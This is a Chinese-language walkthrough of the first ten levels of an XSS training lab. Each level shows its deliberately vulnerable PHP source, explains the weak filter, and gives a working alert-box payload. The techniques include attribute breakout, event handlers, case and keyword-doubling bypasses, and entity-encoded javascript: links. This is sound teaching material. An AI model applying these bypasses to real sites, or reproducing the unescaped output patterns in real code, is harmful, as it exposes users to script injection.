- 靶场下载地址:https://github.com/lyshark/xss-labs
- 每一关的后台源码重写了alert()方法,只要成功弹框即可进入下一关
Level 1
- 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
- 分析:
后台源码将用户以GET方式提交的参数name,原封不动地显示在HTML页面中,所以将弹框语句放入name变量中即可: - Payload:
<script>alert('xss');</script>
Level 2
- 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
-
分析:
- htmlspecialchars:
- 作用:把预定义的字符转换为 HTML 实体,而不是作为标签运行;如果不用HTMLSpecialChars,就会导致读取时,把" <script>"之类的HTML标签带有功能地输出。
- HTML实体格式:
&entity_name; 或者 &#entity_number;
- 转化规则:
- 如下例,在使用了htmlspecialchars后,将输出字符串"";当不使用时,则会弹框。
<?php $str="<script>alert('123')</script>"; echo htmlspecialchars($str); ?>
- 本例中,在返回的HTML页面的第一处使用了htmlspecialchars,而第二处没有使用,且两处都没有过滤机制。所以我们在第二处闭合<input>标签,直接弹框:
- htmlspecialchars:
-
Payload:
test"><script>alert('xss');</script>
Level 3
- 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
-
分析:
-
一共有两处转义:
- 第一处转义,输入被转义为html实体,不能直接执行;
- 第二处转义,输入被转义为html实体,不能直接执行,也不能闭合双引号。但是单引号没被转义。
- 所以可以用单引号闭合input标签,使用不包含被转义特殊字符的弹框方式。
-
Payload:
- 上述两事件的alert前可以不加javascript
'onclick='alert(/xss/) #标准格式:onclick='alert(/xss/)',点击输入框触发
'onmouseover='alert(/xss/) #标准格式:onmouseover='alert(/xss/)' ,鼠标移动到输入框触发
Level 4
- 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level5.php?keyword=find a way out!";
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
-
分析:
将用户输入个keyword中的<和>替换为空,但在input标签内并未转义。所以直接闭合input标签中的value(不能闭合整个input标签)并使用不带尖括号但弹框方式即可。 -
Payload:
"onclick='alert(/xss/)'
Level 5
- 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>
-
分析:
- 对<script和on关键字进行了过滤
- 第二次引用keyword时没有转义,可以闭合input标签;然后采用不含<script和on的弹框方式
-
Payload:
"> <a href='javascript:alert(1)'> # <a>标签内的alert必须加javascript,伪协议
Level 6
- 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
- 分析:
- 过滤了<script、on、src、data、href标签
- 但是替换之前没有转化为小写字母,所以可以用大小写绕过
- Payload:
"><img Src="1.jpg" Onerror="alert(1)">
Level 7
- 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
- 分析:
- 过滤了script、on、src、data、href,并且在过滤前将keyword转换为了小写
- 第二处引用keyword没有编码,可以闭合input标签后,重写关键字绕过过滤
- Payload:
"><scrscriptipt>alert(1)</scrscriptipt>
Level 8
- 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
-
分析:
- 在过滤前将keyword转化为小写,并且过滤了script、on、src、data、href、双引号
- 第一次引用keyword时,采用了htmlspecialchars
- 第二次引用keyword时,是在a标签中,而且没有用htmlspecialchars编码
- 考虑编码绕过:hackbar的XSS HTML Characters编码,可将所有字符(不同于htmlspecialchars仅将特殊字符编码)编码为HTML实体,从而绕过过滤。
- 然后构造弹框语句,注意到编码绕过后,在第二次引用keyword时,虽然没有htmlspecialchars编码,但是我们事先已经自己将提交的keyword编码为html实体了,所以此时输入的标签不会被执行,而是被当作普通字符串,所以只能构造href超链接,而不能闭合a标签。
-
Payload:
javascript:alert(1) #对script进行编码(仅编码t即可)
Level 9
- 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
-
分析:
- 在过滤前将keyword转化为小写,并且过滤了script、on、src、data、href、双引号
- 规定在输入中必须包含http://
-
Payload:
javascrip$#116;:alert(1)//http://www.baidu.com #对script进行编码(仅编码t即可)
Level 10
- 后台源码:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
-
分析:
- 页面中没有任何可以点击对元素,审查元素发现,除了URL中的keyword参数之外,还有三个隐藏的input参数:t_link、t_history、t_sort
- 分别对这四个参数进行GET传参:
http://127.0.0.1/level10.php?keyword=test&t_link=test1&t_history=test2&t_sort=test3
- 查看页面源代码发现,t_sort被写入到html页面;通过源代码可知,keyword进行了编码,而t_sort过滤了尖括号,并没有进行编码
- 所以我们可以使用双引号仅闭合input标签中对value,然后添加属性是input显现在页面中
-
Payload:
?t_sort="type="text" onmouseover="alert(1)